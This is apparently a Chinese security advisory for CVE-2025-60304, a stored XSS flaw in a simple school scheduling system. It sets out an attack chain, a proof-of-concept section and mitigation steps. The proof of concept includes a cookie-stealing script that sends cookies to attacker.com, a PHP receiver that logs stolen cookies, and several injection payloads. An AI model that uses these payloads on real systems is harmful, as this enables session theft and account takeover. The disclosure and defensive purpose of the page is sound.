IPBUF安全漏洞报告
English
CVE-2025-60304 CVSS 6.1 中危

CVE-2025-60304:Simple Scheduling System 1.0 跨站脚本漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-60304
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
code-projects Simple Scheduling System

相关标签

XSS跨站脚本CVE-2025-60304Simple Scheduling Systemcode-projects存储型XSSWeb漏洞中危漏洞科目管理系统

漏洞概述

CVE-2025-60304 是 code-projects Simple Scheduling System 1.0 版本中存在的一个跨站脚本(Cross-Site Scripting, XSS)漏洞。该漏洞于2025年10月9日被公开披露,CVSS 3.1 基础评分为 6.1 分,属于中危级别漏洞。Simple Scheduling System 是一款由 code-projects 开发的简易排课/调度管理系统,主要用于学校或培训机构进行课程安排管理。该系统 1.0 版本在处理用户输入的 Subject Description(科目描述)字段时,未对输入内容进行充分的过滤、转义或编码处理,导致攻击者可以将恶意 JavaScript 代码或 HTML 注入到该字段中。由于该漏洞属于存储型 XSS(Stored XSS),恶意载荷会被持久化保存在服务器端,当其他用户访问包含该描述信息的页面时,恶意脚本将在受害者浏览器中自动执行。攻击者可以利用此漏洞窃取用户会话 Cookie、劫持用户账户、执行未授权操作、进行钓鱼攻击或传播恶意软件。该漏洞的攻击向量为网络(AV:N),无需特殊权限即可利用(PR:N),但需要用户交互(如点击链接或访问特定页面)才能触发完整的攻击链(UI:R)。漏洞的影响范围为变更(Scope Changed, S:C),表明该漏洞的影响超出了其直接组件的范围,对机密性和完整性均存在低危影响,但不会直接导致系统可用性受损。

技术细节

该漏洞的根本原因在于 Simple Scheduling System 1.0 版本在处理 Subject Description(科目描述)字段时,缺乏对用户输入数据的有效净化(Sanitization)和输出编码(Output Encoding)机制。具体而言,当管理员或授权用户在系统中创建或编辑科目信息时,系统将 Subject Description 字段的内容直接存储到数据库中,而未对其中可能包含的 HTML 标签、JavaScript 代码或事件处理器(如 onerror、onload、onclick 等)进行过滤。当其他用户(如学生、教师或管理员)访问包含该科目描述的页面时,服务器从数据库中读取该字段内容并直接嵌入到 HTML 响应中返回给浏览器,浏览器将其解析为合法的 HTML 和 JavaScript 代码并执行。攻击者可以通过在 Subject Description 字段中注入如下载荷实现攻击:<script>alert(document.cookie)</script> 或 <img src=x onerror=alert(1)>。由于漏洞的 CVSS 向量中包含 S:C(Scope Changed),表明攻击者可以利用该 XSS 漏洞在受害者的权限上下文中执行操作,可能包括修改其他用户的排课信息、窃取管理员凭证或执行进一步的攻击。值得注意的是,该漏洞无需认证即可利用(PR:N),但需要用户交互(UI:R),这意味着攻击者通常需要通过社会工程学手段诱导受害者访问含有恶意载荷的页面。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或公开资源识别目标组织使用的 Simple Scheduling System 1.0 版本,并定位 Subject Description 字段的输入入口。
STEP 2
步骤2:注册或获取合法凭证
由于漏洞无需认证即可利用(PR:N),但存储型 XSS 通常需要将载荷存入数据库,攻击者可能需要获取一个普通用户账户,或利用系统中可能存在的开放注册功能。
STEP 3
步骤3:构造恶意载荷
攻击者构造包含恶意 JavaScript 代码的 XSS 载荷,例如用于窃取 Cookie、会话劫持或执行未授权操作的脚本。
STEP 4
步骤4:注入恶意载荷
攻击者将恶意代码注入到 Subject Description 字段并提交,系统未对输入进行过滤,将恶意载荷持久化存储到数据库中。
STEP 5
步骤5:诱导受害者访问
攻击者通过社会工程学手段(如发送钓鱼邮件、内部消息等)诱导受害者(如管理员或其他用户)访问包含恶意 Subject 描述的页面。
STEP 6
步骤6:执行恶意脚本
受害者的浏览器加载页面时,服务器返回包含恶意脚本的 HTML 内容,浏览器解析并执行嵌入的 JavaScript 代码。
STEP 7
步骤7:数据窃取与权限提升
恶意脚本在受害者权限上下文中执行,窃取会话 Cookie、劫持账户或执行其他未授权操作,攻击者可能利用窃取的凭证进一步渗透系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60304 - Stored XSS PoC for code-projects Simple Scheduling System 1.0 --> <!-- Vulnerability Location: Subject Description field --> <!-- Step 1: Login to Simple Scheduling System as an authenticated user --> <!-- Step 2: Navigate to the Subject Management module --> <!-- Step 3: Create or edit a Subject and inject the following payload into the Subject Description field --> <!-- Payload 1: Basic Cookie Stealing --> <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> <!-- Payload 2: Alert Box (Proof of Concept) --> <script>alert('XSS by CVE-2025-60304')</script> <!-- Payload 3: Using img tag with onerror event --> <img src=x onerror="alert(document.domain)"> <!-- Payload 4: Using svg tag --> <svg/onload=alert(1)> <!-- Step 4: Save the Subject entry --> <!-- Step 5: When any victim user views the Subject details page, the malicious script will execute automatically --> <!-- Step 6: Attacker's server (e.g., steal.php) will receive the victim's session cookie --> <!-- steal.php (Attacker's receiver script) --> <?php $cookie = $_GET['cookie']; $log = fopen("stolen_cookies.txt", "a"); fwrite($log, $cookie . "\n"); fclose($log); ?> <!-- HTTP Request Example (Simplified) --> POST /simple-scheduling/subject/add HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=authenticated_session subject_name=Mathematics&subject_description=<script>alert(document.cookie)</script>&submit=Add

影响范围

code-projects Simple Scheduling System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)对 Subject Description 字段的输入实施严格的输入验证,仅允许字母、数字和常用标点符号,拒绝包含 HTML 标签或 JavaScript 代码的输入;2)在输出阶段对 Subject Description 内容进行 HTML 实体编码,将 < 转换为 &lt;、> 转换为 &gt;、& 转换为 &amp; 等;3)在 Web 服务器配置中添加 Content-Security-Policy 响应头(如 Content-Security-Policy: default-src 'self'),限制内联脚本的执行;4)为所有会话 Cookie 添加 HttpOnly 标志,防止通过 XSS 窃取会话凭证;5)部署 Web 应用防火墙(WAF)规则,拦截常见的 XSS 攻击模式;6)限制 Subject Management 功能的使用权限,仅授权可信用户访问;7)定期审查数据库中已存储的 Subject Description 内容,清除可能存在的恶意载荷。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表